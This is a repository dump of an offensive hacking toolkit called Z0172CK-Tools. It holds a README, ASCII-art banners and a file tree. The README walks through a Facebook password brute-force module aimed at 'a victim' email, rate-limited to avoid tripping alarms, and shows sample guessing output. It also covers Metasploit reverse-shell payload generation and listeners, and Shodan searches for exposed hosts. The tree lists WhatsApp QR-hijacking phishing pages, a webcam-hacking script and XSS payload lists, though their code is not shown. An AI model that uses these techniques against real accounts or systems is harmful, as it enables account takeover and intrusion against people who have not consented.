├── .gitbook └── assets │ └── img1.png ├── .github └── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── .gitignore ├── APIs ├── IpInfo.txt ├── Shodan.txt └── VirusTotal.txt ├── CODE_OF_CONDUCT.md ├── Images ├── Img1.png ├── Prom1-En.png └── Prom1.png ├── LICENSE ├── README.md ├── SUMMARY.md ├── banners.py ├── contributing.md.md ├── core ├── BlackDir-Framework │ ├── BlackDir.py │ ├── html_payloads.txt │ ├── link.txt │ ├── list.txt │ ├── sub.txt │ └── xss_payloads.txt ├── FB-BruteForce │ ├── FacebookBruteForce.sh │ └── passwords.lst ├── Namechk │ └── namechk.sh ├── PayloadGenerate.py ├── QRLJacker │ ├── .ataque │ ├── QrlJacker.py │ ├── core │ │ ├── Cli.py │ │ ├── Data │ │ │ ├── banners.txt │ │ │ └── version.txt │ │ ├── Settings.py │ │ ├── __init__.py │ │ ├── browser.py │ │ ├── color.py │ │ ├── db.py │ │ ├── module.py │ │ ├── module_utils.py │ │ ├── modules │ │ │ ├── __init__.py │ │ │ ├── grabber │ │ │ │ ├── __init__.py │ │ │ │ └── whatsapp.py │ │ │ └── post │ │ │ │ └── __init__.py │ │ ├── sessions.json │ │ ├── templates │ │ │ └── phishing_page.html │ │ ├── utils.py │ │ └── www │ │ │ └── whatsapp │ │ │ └── index.html │ └── sessions │ │ └── .gitignore ├── UrlHider.py └── camHackers.py ├── docs └── CONTRIBUTING.md ├── index.py ├── install.sh ├── output └── .files ├── requirements.txt └── result ├── IpInfo.json └── Shodan.json /.gitbook/assets/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/.gitbook/assets/img1.png -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | Images/ 3 | Developer/ 4 | developer/ 5 | Test/ 6 | *.png 7 | -------------------------------------------------------------------------------- /APIs/IpInfo.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/APIs/IpInfo.txt -------------------------------------------------------------------------------- /APIs/Shodan.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/APIs/Shodan.txt -------------------------------------------------------------------------------- /APIs/VirusTotal.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/APIs/VirusTotal.txt -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at alejod172@gmail.com. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq 77 | -------------------------------------------------------------------------------- /Images/Img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/Images/Img1.png -------------------------------------------------------------------------------- /Images/Prom1-En.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/Images/Prom1-En.png -------------------------------------------------------------------------------- /Images/Prom1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/Images/Prom1.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Version Basic 3 | --- 4 | 5 | # Z0172CK-Tools 6 | 7 | Documentation [https://app.gitbook.com/@erik172/s/z0172ck-tools](https://app.gitbook.com/@erik172/s/z0172ck-tools) 8 | 9 | site web [https://z0172ck.me](https://z0172ck.me) 10 | 11 | {% hint style="info" %} 12 | Z0172CK Tools can receive Updates 13 | {% endhint %} 14 | 15 | ## Install Z0172CK Tools 16 | 17 | ### Install on Kali Linux 18 | 19 | [![asciicast](https://asciinema.org/a/352244.svg)](https://asciinema.org/a/352244) 20 | 21 | We must first have Python3 and PIP3 22 | 23 | ```text 24 | $ sudo apt install python3 python3-pip 25 | ``` 26 | 27 | {% hint style="info" %} 28 | Z0172CK-Tools only works with python 3 29 | {% endhint %} 30 | 31 | We clone the repository from github [https://github.com/Erik172/Z0172CK-Tools](https://github.com/Erik172/Z0172CK-Tools) 32 | 33 | ```bash 34 | $ git clone https://github.com/Erick172/Z0172CK-Tools 35 | ``` 36 | 37 | Install the dependencies found in the requirements.txt file 38 | 39 | ```bash 40 | $ bash ./install.sh 41 | ``` 42 | 43 | ```bash 44 | $ sudo pip3 install -r requirements.txt 45 | ``` 46 | 47 | #### Dependencies to install 48 | 49 | * Shodan = 1.23.0 50 | * Colorama = 0.4.3 51 | * Ipinfo = 3.0.0 52 | 53 | ### Install on Termux 54 | 55 | ```bash 56 | $ pkg update 57 | ``` 58 | 59 | ```bash 60 | $ pkg install python nmap 61 | ``` 62 | 63 | {% hint style="warning" %} 64 | Z0172CK-Tools only works with python 3 65 | {% endhint %} 66 | 67 | We clone the repository from github [https://github.com/Erik172/Z0172CK-Tools](https://github.com/Erik172/Z0172CK-Tools) 68 | 69 | ```bash 70 | $ git clone https://github.com/Erick172/Z0172CK-Tools 71 | ``` 72 | 73 | ```bash 74 | $ pip install -r requirements.txt 75 | ``` 76 | 77 | ## How to use 78 | 79 | already installed the dependencies we can execute the file index.py 80 | 81 | ```bash 82 | $ python3 index.py 83 | ``` 84 | 85 | ```bash 86 | ███████╗ ██████╗ ██╗███████╗██████╗ ██████╗██╗ ██╗ 87 | ╚══███╔╝██╔═████╗███║╚════██║╚════██╗██╔════╝██║ ██╔╝ 88 | ███╔╝ ██║██╔██║╚██║ ██╔╝ █████╔╝██║ █████╔╝ 89 | ███╔╝ ████╔╝██║ ██║ ██╔╝ ██╔═══╝ ██║ ██╔═██╗ 90 | ███████╗╚██████╔╝ ██║ ██║ ███████╗╚██████╗██║ ██╗ 91 | ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ 92 | V1.0 Basic By -Erick172 93 | 94 | 95 | [01] Shodan [06] Scan 96 | [02] Metasploit [07] Search Enginare 97 | [03] IP Info 98 | [04] Brute Force 99 | 100 | [88] Update 101 | [99] Exit 102 | 103 | Z0172CK > 104 | ``` 105 | 106 | ### Shodan 107 | 108 | Shodan is a search engine that allows the user to find the same or different specific types of equipment connected to the Internet through a variety of filters. 109 | 110 | in order to use shodan we need a KEY API. 111 | 112 | For our API KEY we enter [https://account.shodan.io/](https://account.shodan.io/) 113 | 114 | ```bash 115 | Go to https://account.shodan.io/ to see your API 116 | enter your Shodan API: 117 | ``` 118 | 119 | Once our API KEY is entered, it will be saved in the APIs folder and in the Shodan.txt file. If we want to change the API we will have to change it from the Shodan.txt file that remains in the /APIs/Shodan.txt path 120 | 121 | ```bash 122 | Go to https://account.shodan.io/ to see your API 123 | enter your Shodan API: 124 | ``` 125 | 126 | ```bash 127 | Z0172CK (Shodan) Search > 128 | ``` 129 | 130 | Here we can start using the shodan tool 131 | 132 | #### Example 133 | 134 | ```bash 135 | Z0172CK (Shodan) Search > apache2 136 | ``` 137 | 138 | then it asks us if we want to see the vulnerabilities too 139 | 140 | But I will say no 141 | 142 | ```bash 143 | You want to see the vulnerabilities y/N > n 144 | ``` 145 | 146 | then it will give us the result of all the computers connected to the internet that use apache2 147 | 148 | ```bash 149 | [!] Resoult found: 10397 150 | 151 | [+] IP: 189.109.49.138 152 | [+] ISP: Vivo 153 | [+] Location: { 154 | "area_code": null, 155 | "city": "S\u00e3o Paulo", 156 | "country_code": "BR", 157 | "country_code3": null, 158 | "country_name": "Brazil", 159 | "dma_code": null, 160 | "latitude": -23.63, 161 | "longitude": -46.6322, 162 | "postal_code": null, 163 | "region_code": "SP" 164 | } 165 | [+] Organization: Vivo 166 | [+] Operating System: None 167 | [+] Port: 8089 168 | [+] Product: null 169 | [+] Version: null 170 | 171 | [+] IP: 86.107.98.92 172 | [+] ISP: Netsons s.r.l. 173 | [+] Location: { 174 | "area_code": null, 175 | "city": "Pescara", 176 | "country_code": "IT", 177 | "country_code3": null, 178 | "country_name": "Italy", 179 | "dma_code": null, 180 | "latitude": 42.4584, 181 | "longitude": 14.2028, 182 | "postal_code": null, 183 | "region_code": "65" 184 | } 185 | [+] Organization: Netsons s.r.l. 186 | [+] Operating System: None 187 | [+] Port: 444 188 | [+] Product: null 189 | [+] Version: null 190 | 191 | --more-- 192 | ``` 193 | 194 | as we can see in the first line it tells us how many results it found in this case it found 10397 195 | 196 | ```bash 197 | [!] Resoult found: 10397 198 | ``` 199 | 200 | the results are saved in the result folder 201 | 202 | in the case of shodan it would be /result/Shodan.json 203 | 204 | [![asciicast](https://asciinema.org/a/349306.svg)](https://asciinema.org/a/349306) 205 | 206 | ### Metasploit 207 | 208 | in the metasploit option, it opens another menu 209 | 210 | ```bash 211 | [01] Listen Payload 212 | [02] Payload Generate 213 | 214 | [99] Back 215 | 216 | Z0172CK (Metasploit) > 217 | ``` 218 | 219 | #### Listen Payload 220 | 221 | {% hint style="warning" %} 222 | The MSF option is to connect to Metasploit Not to generate a Payload, nor an automatic attack 223 | {% endhint %} 224 | 225 | The MSF option stands for Metasploit Framework, with this option we can connect to metasploit only by placing the payload, port and ip 226 | 227 | ```bash 228 | Z0172CK (Metasploit) > 1 229 | 230 | Select platform type 231 | 232 | [01] Windows 233 | [02] Android 234 | [03] Linux 235 | ``` 236 | 237 | we select the payload platform to connect 238 | 239 | ```bash 240 | Z0172CK (Metasploit/MSF) > 1 241 | 242 | Select the Payload 243 | 244 | [01] windows/meterpreter/reverse_tcp 245 | [02] windows/meterpreter/reverse_http 246 | [03] windows/meterpreter/reverse_https 247 | [04] windows/meterpreter/bind_tcp 248 | [05] windows/shell/bind_tcp 249 | [06] windows/shell/reverse_tcp 250 | ``` 251 | 252 | We select the Payload to which we want to connect 253 | 254 | ```bash 255 | Z0172CK (Metasploit/MSF) Payload > 4 256 | ``` 257 | 258 | ```bash 259 | Z0172CK (Metasploit/MSF) LHOST > 260 | Z0172CK (Metasploit/MSF) LPORT > 261 | ``` 262 | 263 | then it will ask us for the port and host \(IP\) of the Payload to connect 264 | 265 | Then we will connect to the metasploit Framework 266 | 267 | #### Payload Generate 268 | 269 | {% hint style="info" %} 270 | Not all the Metasploit payloads are there. 271 | {% endhint %} 272 | 273 | ```bash 274 | _______________________________________________________ 275 | | | 276 | / | | 277 | /---, | P A Y L O A D | 278 | -----# ==| | G E N E R A T E | 279 | | :) # ==| | | 280 | -----'----# | |______________________________________________________| 281 | |)___() '# |______====____ \___________________________________| 282 | [_/,-,"--"------ //,-, ,-,\|\ |/ //,-, ,-, ,-,\ __#Erik172# 283 | ( 0 )|===******||( 0 )( 0 )||- o '( 0 )( 0 )( 0 )|| 284 | ----'-'--------------'-'--'-'-----------------------'-'--'-'--'-'-------------- 285 | 286 | 287 | Selecione la Plataforma 288 | [01] Windows 289 | [02] Android 290 | ``` 291 | 292 | We select the payload platform 293 | 294 | ```bash 295 | Z0172CK (Metasploit/PayloadGenerate) > 1 296 | ``` 297 | 298 | ```bash 299 | [01] windows/meterpreter/reverse_http 300 | [02] windows/meterpreter/reverse_https 301 | [03] windows/meterpreter/reverse_tcp 302 | [04] windows/meterpreter/bind_tcp 303 | [05] windows/shell/bind_tcp 304 | [06] windows/shell/reverse_tcp 305 | 306 | Z0172CK (Metasploit/MSF) Payload > 307 | ``` 308 | 309 | We select the payload 310 | 311 | ```bash 312 | Z0172CK (Metasploit/PayloadGenerate) Payload > 3 313 | ``` 314 | 315 | Then it won't ask for a local ip and a port 316 | 317 | ```bash 318 | Z0172CK (Metasploit/PayloadGenerate) LHOST > 319 | ``` 320 | 321 | ```bash 322 | Z0172CK (Metasploit/PayloadGenerate) LPORT > 323 | ``` 324 | 325 | We put the name of our payload, without the file extension 326 | 327 | ```bash 328 | Z0172CK (Metasploit/PayloadGenerate) FileName > Payload 329 | ``` 330 | 331 | It will show us where the payload generator is stored 332 | 333 | ```bash 334 | File saved in output/Payload.exe 335 | ``` 336 | 337 | Then it will ask us if we want to listen to the payload, if we give 's' to be metaplanned to metasploit, and if we give it 'n' it will return us to the main menu 338 | 339 | ```bash 340 | desea conectarse a Metasploit [y/N] > 341 | ``` 342 | 343 | ### IpInfo 344 | 345 | With IPinfo, you can pinpoint your users’ locations, customize their experiences, prevent fraud, ensure compliance, and so much more. 346 | 347 | {% hint style="info" %} 348 | To be able to use the ipinfo tool you need an API KEY 349 | {% endhint %} 350 | 351 | In order to get the api key we need to create an account on the ipinfo website [https://ipinfo.io/signup](https://ipinfo.io/signup) 352 | 353 | Once the account is created we can go [https://ipinfo.io/account](https://ipinfo.io/account) to see our token 354 | 355 | ```bash 356 | Ingresa a https://ipinfo.io/account para ver tu access token 357 | Ingresa tu API o Access Token > 358 | ``` 359 | 360 | we enter our api key or token 361 | 362 | ```bash 363 | . _ . .__ . . __,--' 364 | (_) '/__\ __,--' 365 | ' . ' . | o|' IpInfo 366 | [IIII]`--.__ 367 | | | `--.__ 368 | | :| `--.__ 369 | | | `--.__ 370 | ._,,.-,.__.'__`.___.,.,.-..,_.,.,.,-._..`--..-.,._.,,._,-,.Erik172 371 | 372 | 373 | Z0172CK (IP-Info) IP > 374 | ``` 375 | 376 | We enter the ip that we want to search for information 377 | 378 | ```bash 379 | Z0172CK (IP-Info) IP > 185.199.108.153 380 | ``` 381 | 382 | ```bash 383 | [+] IP = 185.199.108.153 384 | [+] City = San Francisco 385 | [+] Country = US 386 | [+] Country Name = United States 387 | [!] Hostname = None 388 | [+] Coordinates = 37.7621,-122.3971 389 | [+] Latitude = 37.7621 390 | [+] Longitude = -122.3971 391 | [+] Organization = AS54113 Fastly 392 | [+] Code Postal = 94107 393 | [+] Region = California 394 | [+] TimeZone = America/Los_Angeles 395 | 396 | Results Saved in result/IpInfo.json 397 | ``` 398 | 399 | the results are saved in the result folder in the file IpInfo.json 400 | 401 | ```bash 402 | Results Saved in result/IpInfo.json 403 | ``` 404 | 405 | [![asciicast](https://asciinema.org/a/349309.svg)](https://asciinema.org/a/349309) 406 | 407 | ### Brute Force 408 | 409 | with the brute force option we can attack sites and protocols using passwords 410 | 411 | ```bash 412 | c=====e 413 | H 414 | ____________ _,,_H__ 415 | (__((__((___() //| | 416 | (__((__((___()()_____________________________________// |ERIK | 417 | (__((__((___()()()------------------------------------' |_____| 418 | Brute Force V0.1 419 | 420 | 421 | [01] Facebook 422 | 423 | [99] Back 424 | 425 | Z0172CK (BruteForce) > 426 | ``` 427 | 428 | #### Facebook 429 | 430 | {% hint style="warning" %} 431 | Only 20 passwords are processed per hour to avoid blocking or awakening an alarm in the victim gutter 432 | {% endhint %} 433 | 434 | ```bash 435 | Z0172CK (BruteForce) > 1 436 | 437 | [01] Start Brute Force 438 | [02] Continue Brute Force 439 | 440 | [99] Back 441 | 442 | Z0172CK (BruteForce/Facebook) > 443 | ``` 444 | 445 | in the facebook part we have two options 1. start a new attack 2. continue with an attack 446 | 447 | If we select the first option to start a new attack, it will ask us for an email and a list of passwords 448 | 449 | at any time we can give ctrl + c to save our attack and continue later with the second option 450 | 451 | {% hint style="info" %} 452 | if we get an error of this type " Please, check your TOR Connection! Just type" tor "or" service tor start " " just go back to the facebook option 453 | {% endhint %} 454 | 455 | ```bash 456 | Z0172CK (BruteForce/Facebook) > 1 457 | Email account: 458 | ``` 459 | 460 | we put the mail of a victim 461 | 462 | ```bash 463 | Password List (Hit Enter to default list): 464 | ``` 465 | 466 | we put the path of the list of our passwords or we give enter to use the one that comes by default 467 | 468 | ```bash 469 | Wordlist: modules/FB-BruteForce/passwords.lst (39331) 470 | [*] Press Ctrl + C to stop or save session 471 | Trying pass (1/39331): "password" 472 | Trying pass (2/39331): "12345678" 473 | Trying pass (3/39331): "123456789" 474 | Trying pass (4/39331): "iam123" 475 | Trying pass (5/39331): "baseball" 476 | Trying pass (6/39331): "football" 477 | Trying pass (7/39331): "qwertyuiop" 478 | Trying pass (8/39331): "1234567890" 479 | Trying pass (9/39331): "superman" 480 | Trying pass (10/39331): "1qaz2wsx" 481 | Trying pass (11/39331): "trustno1" 482 | Trying pass (12/39331): "jennifer" 483 | Trying pass (13/39331): "sunshine" 484 | Trying pass (14/39331): "iloveyou" 485 | Trying pass (15/39331): "starwars" 486 | Trying pass (16/39331): "computer" 487 | Trying pass (17/39331): "michelle" 488 | Trying pass (18/39331): "11111111" 489 | Trying pass (19/39331): "princess" 490 | Trying pass (20/39331): "987654321" 491 | [*] Waiting 1 hour, to return at: 492 | ``` 493 | 494 | all 20 passwords have been completed and we have to wait for one or we can give it Ctrl + c to save the attack and use it again in an hour 495 | 496 | ```bash 497 | Ctrl + c 498 | [*] Waiting a second... 499 | 500 | Save session for user correo@correo.com ? [Y/n]: 501 | ``` 502 | 503 | It will ask us if we want to save the session. in this case I give it that if 504 | 505 | ```bash 506 | Save session for user correo@correo.com ? [Y/n]: Y 507 | ``` 508 | 509 | ```bash 510 | Session saved. 511 | Use [11] resume 512 | ``` 513 | 514 | after being saved we can use the attack again until it was 515 | 516 | ```bash 517 | [01] Start Brute Force 518 | [02] Continue Brute Force 519 | 520 | [99] Back 521 | 522 | Z0172CK (BruteForce/Facebook) > 2 523 | ``` 524 | 525 | ```bash 526 | Z0172CK (BruteForce/Facebook) > 2 527 | Files sessions: 528 | 1 : modules/FB-BruteForce/sessions/store.session.correo@correo.com.2020-07-23T1133 (wl: modules/FB-BruteForce/passwords.lst, lastpass: 987654321 ) 529 | Choose a session number: 530 | ``` 531 | 532 | we give enter and we can continue with our attack 533 | 534 | ```bash 535 | 1 : modules/FB-BruteForce/sessions/store.session.correo@correo.com.2020-07-23T1133 (wl: modules/FB-BruteForce/passwords.lst, lastpass: 987654321 ) 536 | Choose a session number: 537 | [*] Resuming session for user: 538 | [*] Wordlist: modules/FB-BruteForce/passwords.lst 539 | [*] Press Ctrl + C to stop or save session 540 | Trying pass (20/39331): 987654321 541 | Trying pass (21/39331): corvette 542 | Trying pass (22/39331): 1234qwer 543 | Trying pass (23/39331): 88888888 544 | Trying pass (24/39331): q1w2e3r4t5 545 | Trying pass (25/39331): internet 546 | Trying pass (26/39331): samantha 547 | Trying pass (27/39331): whatever 548 | Trying pass (28/39331): maverick 549 | Trying pass (29/39331): steelers 550 | Trying pass (30/39331): mercedes 551 | Trying pass (31/39331): 123123123 552 | Trying pass (32/39331): qwer1234 553 | Trying pass (33/39331): hardcore 554 | Trying pass (34/39331): q1w2e3r4 555 | Trying pass (35/39331): midnight 556 | Trying pass (36/39331): bigdaddy 557 | Trying pass (37/39331): victoria 558 | ``` 559 | 560 | ### Exploits 561 | 562 | In this part we find different scripts that can be exploited 563 | 564 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Table of contents 2 | 3 | * [Z0172CK-Tools](README.md) 4 | * [CONTRIBUTING.md](contributing.md.md) 5 | 6 | -------------------------------------------------------------------------------- /banners.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, init 2 | import random 3 | import sys 4 | import os 5 | 6 | init() 7 | 8 | def println(n): 9 | colors = [Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX] 10 | color = random.choice(colors) 11 | banner1 = """{} 12 | _ __,----'~~~~~~~~~`-----.__ 13 | . . `//====- ____,-'~` 14 | -. \_|// . /||\\ `~~~~`---.___./ 15 | ______-==. _-~o `\/ ||| \\ _,'` 16 | __,--' ,=='||\=_ ;_,_,/ _-'|- |`\ \\ ,' 17 | _-' ,=' | \\`. '',/~7 /- / || `\. / 18 | .' ,' | \\ \_ " / /- / || \ / 19 | / _____ / | \\.`-_/ /|- _/ ,|| \ / 20 | ,-' `-|--'~~`--_ \ `==-/ `| \'--===-' _/` 21 | ' `-| /| )-'\~' _,--"' 22 | '-~^\_/ | | `\_ ,^ /| 23 | / \ \__ \/~ `\__ 24 | _,-' _/'\ ,-'~____-'`-/ ``===° 25 | ((->/' \|||' `. `\. , _|| 26 | ./ \_ `\ `~---|__i__i__\--~'_/ 27 | <_n_ __-^-_ `) \-.______________,-~' 28 | `B'\) ///,-'~`__--^- |-------~~~~^' 29 | /^> ///,--~`-/ 30 | ` ` -Erick172 31 | {}""".format(color, Fore.LIGHTWHITE_EX) 32 | 33 | banner2 = '''{} 34 | _ _ 35 | ' \/ ' 36 | _ _ <| 37 | \/ __'__ __'__ __'__ 38 | / / / / / / 39 | /\____\ \____\ \____\ _ _ 40 | / ___!___ ___!___ ___!___ \/ 41 | // ( ( ( ( ( ( 42 | / / \______\ \______\ \______( 43 | / / ____!_____ ___!______ ____!_____ 44 | / / / // // / 45 | / E / | R || I || K | 46 | /_____/ \ \ \ ( 47 | \ \_________\__________\__________( 48 | \ | | | 49 | \________!__________!_________!________/ 50 | \|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_/| Shodan 51 | \ _______________ / 52 | ^^^%^%^^^%^^\_"/_)/_)_/_)__)/_)/)/)_)_"_'_"_//)/)/)/)%^^^%^^^ 53 | ^!!^^"!!^^^!^^^!!^^^%!!!!^^^^^^!!^^^!!!!!!%^^^^%^^%^^^! 54 | {}'''.format(color, Fore.LIGHTWHITE_EX) 55 | 56 | banner3 ='''{} 57 | . _ . .__ . . __,--' 58 | (_) '/__\ __,--' 59 | ' . ' . | o|' IpInfo 60 | [IIII]`--.__ 61 | | | `--.__ 62 | | :| `--.__ 63 | | | `--.__ 64 | ._,,.-,.__.'__`.___.,.,.-..,_.,.,.,-._..`--..-.,._.,,._,-,.Erik172 65 | {}'''.format(color, Fore.LIGHTWHITE_EX) 66 | 67 | banner4 = '''{} 68 | 69 | _______________________________________________________ 70 | | | 71 | / | | 72 | /---, | P A Y L O A D | 73 | -----# ==| | G E N E R A T E | 74 | | :) # ==| | | 75 | -----'----# | |______________________________________________________| 76 | |)___() '# |______====____ \___________________________________| 77 | [_/,-,\"--"------ //,-, ,-,\|\ |/ //,-, ,-, ,-,\ __#Erik172# 78 | ( 0 )|===******||( 0 )( 0 )||- o '( 0 )( 0 )( 0 )|| 79 | ----'-'--------------'-'--'-'-----------------------'-'--'-'--'-'-------------- 80 | {}'''.format(color, Fore.LIGHTWHITE_EX) 81 | 82 | banner5 = """{} 83 | ____ 84 | \ `. 85 | \ `. 86 | \ \ `. 87 | \ 01838`. 88 | :. . . . `._______________________.-~|~~-._ 89 | \ ---'-----`-._ 90 | /"""""""/ _...---------.. ~-._________ 91 | // .`_________ .-` \ .-~ / 92 | // .' ||__.~ .-~_____________/ 93 | //___.` .~ .-~ 94 | .~ .-~ 95 | .~ _.-~ 96 | `-_____.-~' 97 | {}""".format(color, Fore.LIGHTWHITE_EX) 98 | 99 | banner6 = """{} 100 | c=====e 101 | H 102 | ____________ _,,_H__ 103 | (__((__((___() //| | 104 | (__((__((___()()_____________________________________// |ERIK | 105 | (__((__((___()()()------------------------------------' |_____| 106 | Brute Force V0.1 107 | {}""".format(color, Fore.LIGHTWHITE_EX) 108 | 109 | Fsociety = """{} 110 | ....'''... 111 | .':oxOKXXNNNNNXK0kdc;. 112 | .;d0NWMMMMMMMMMMMMMMMMMWXkc. 113 | :OWMMMMMMMMMMMMMMMMMMMMMMMMW0c. 114 | .lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd. 115 | .oKWMMMWWWWMMMMMMMMMMMMWWWWMMMMXx. 116 | .'xXOdol:;lkXMMMMMMNOl::cookX0:. 117 | ..:xdk0Kk:...cONW0l'..;xKKkoxl... 118 | .;d0XWMWNKOo,,xNWO;,lkKXWMWXKk:,. 119 | .xXXxkNk;..'l0XXWMNX0o,..,dXOdXNk' 120 | lNMWK0kc;;,.,OKOXM0O0;.';;:x0KWMWd. 121 | .xWMWNKXNWWNK0OkONMXOkkKNWWNXXNWMMO. 122 | .kWXd:kWMMMMM0xXWMMMWOkNMMMMMKllKMO. 123 | .xXc .dNWNKko;,oKNNKo,,cx0NWNk. :Kk. 124 | :x' .','. .''. .','. 'kl 125 | .;;. .cl. 126 | 'llc;;;,............ .',;;cod; 127 | ,0MWWWNk;. .........oKWWWMNc 128 | .xWMMMMMNOoc:;;:cokXWMMMMMO. 129 | :XMMMMMMMMMMWWMMMMMMMMMMNo 130 | :0WMMMMMMMMMMMMMMMMMMMNd. 131 | .oKWMMMMMMMMMMMMMMMXx; 132 | .lONWMMMMMMMMMWKd' 133 | .':lodxxxdoc,. By Erick172 134 | by Z0172CK 135 | {}""".format(color, Fore.LIGHTWHITE_EX) 136 | 137 | if n == 1 or n == '1': 138 | print(banner1) 139 | 140 | elif n == 2 or n == '2': 141 | print(banner2) 142 | 143 | elif n == 3 or n == '3': 144 | print(banner3) 145 | 146 | elif n == 4 or n == '4': 147 | print(banner4) 148 | 149 | elif n == 5 or n == '5': 150 | print(banner5) 151 | 152 | elif n == 6 or n == '6': 153 | print(banner6) 154 | 155 | elif n == 0 or n == '0': 156 | print(Fsociety) 157 | 158 | else: 159 | print("Banner") -------------------------------------------------------------------------------- /contributing.md.md: -------------------------------------------------------------------------------- 1 | # CONTRIBUTING.md 2 | 3 | -------------------------------------------------------------------------------- /core/BlackDir-Framework/html_payloads.txt: -------------------------------------------------------------------------------- 1 |

test_html_injection

2 |

test_html_injection

